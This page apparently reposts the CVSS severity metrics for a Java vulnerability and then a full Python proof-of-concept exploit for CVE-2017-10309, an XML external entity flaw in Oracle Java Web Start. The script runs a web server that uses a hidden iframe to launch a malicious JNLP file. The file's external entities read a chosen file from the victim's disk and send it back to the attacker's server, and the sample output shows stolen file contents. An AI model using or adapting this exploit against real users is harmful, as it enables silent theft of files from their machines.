The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Oracle Java SE Wv8u131 Information Disclosure
#!/usr/local/bin/python
"""
Oracle Java SE Web Start jnlp XML External Entity Processing Information Disclosure Vulnerability
Affected: <= v8u131
File: jre-8u131-windows-i586-iftw.exe
SHA1: 85f0de19845deef89cc5a29edebe5bb33023062d
Download: http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html
References: SRC-2017-0028 / CVE-2017-10309
Advisory: http://srcincite.io/advisories/src-2017-0028/
Vulnerability Details:
======================
Java SE installs a protocol handler in the registry as "HKEY_CLASSES_ROOT\jnlp\Shell\Open\Command\Default" 'C:\Program Files\Java\jre1.8.0_131\bin\jp2launcher.exe" -securejws "%1"'.
This can allow allow an attacker to launch remote jnlp files with little user interaction. A malicious jnlp file containing a crafted XML XXE attack to be leveraged to disclose files, cause a denial of service or trigger SSRF.
Notes:
======
- It will take a few seconds to fire.
- Some browsers will give a small, innocent looking popup (not a security alert), but IE/Edge doesn't at all.
Example:
========
saturn:~ mr_me$ ./poc.py
Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
mr_me 2017
(+) usage: ./poc.py <file>
(+) eg: ./poc.py 'C:/Program Files/Java/jre1.8.0_131/README.txt'
saturn:~ mr_me$ ./poc.py 'C:/Program Files/Java/jre1.8.0_131/README.txt'
Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
mr_me 2017
(+) select your interface: lo0, gif0, stf0, en0, en1, en2, bridge0, p2p0, awdl0, vmnet1, vmnet8, tap0: vmnet8
(+) starting xxe server...
(+) have someone with Java SE installed visit: http://172.16.175.1:9090/
(!) firing webstart...
(!) downloading jnlp...
(!) downloading si.xml...
(+) stolen: Please%20refer%20to%20http://java.com/licensereadme
^C(+) shutting down the web server
saturn:~ mr_me$
"""
import sys
import socket
import fcntl
import struct
from random import choice
from string import lowercase
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
try:
import netifaces as ni
except:
print "(-) try 'pip install netifaces'"
sys.exit(1)
class xxe(BaseHTTPRequestHandler):
# stfu
def log_message(self, format, *args):
return
def do_GET(self):
if "leaked" in self.path:
print "(+) stolen: %s" % self.path.split("?")[1]
self.send_response(200)
self.end_headers()
elif self.path == "/":
print "(!) firing webstart..."
self.send_response(200)
self.end_headers()
message = """
<html>
<body>
<iframe src="jnlp://%s:9090/%s" style="width:0;height:0;border:0; border:none;"></iframe>
</body>
</html>
""" % (ip, path)
self.wfile.write(message)
self.wfile.write('\n')
elif "si.xml" in self.path:
print "(!) downloading si.xml..."
self.send_response(200)
self.end_headers()
message = """
<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY % exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
""" % (file, ip)
self.wfile.write(message)
self.wfile.write('\n')
elif path in self.path:
print "(!) downloading jnlp..."
self.send_response(200)
self.end_headers()
message = """
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY %% sp SYSTEM "http://%s:9090/si.xml">
%%sp;
%%param1;
%%exfil;
]>
""" % ip
self.wfile.write(message)
self.wfile.write('\n')
return
def banner():
return """\n\tOracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability\n\tmr_me 2017\n"""
if __name__ == '__main__':
print banner()
if len(sys.argv) != 2:
print "(+) usage: %s <file>" % sys.argv[0]
print "(+) eg: %s 'C:/Program Files/Java/jre1.8.0_131/README.txt'" % sys.argv[0]
sys.exit(1)
file = sys.argv[1]
# randomize incase we change payloads and browser caches
path = "".join(choice(lowercase) for i in range(10))
path += ".jnlp"
# interfaces
ints = ""
for i in ni.interfaces(): ints += "%s, " % i
interface = raw_input("(+) select your interface: %s: " % ints[:-2])
# get the ip from the interface
try:
ip = ni.ifaddresses(interface)[2][0]['addr']
except:
print "(-) no ip address associated with that interface!"
sys.exit(1)
print "jnlp://%s:9090/%s" % (ip, path)
try:
server = HTTPServer(('0.0.0.0', 9090), xxe)
print '(+) starting xxe server...'
print '(+) have someone with Java SE installed visit: http://%s:9090/' % ip
server.serve_forever()
except KeyboardInterrupt:
print '(+) shutting down the web server'
server.socket.close()
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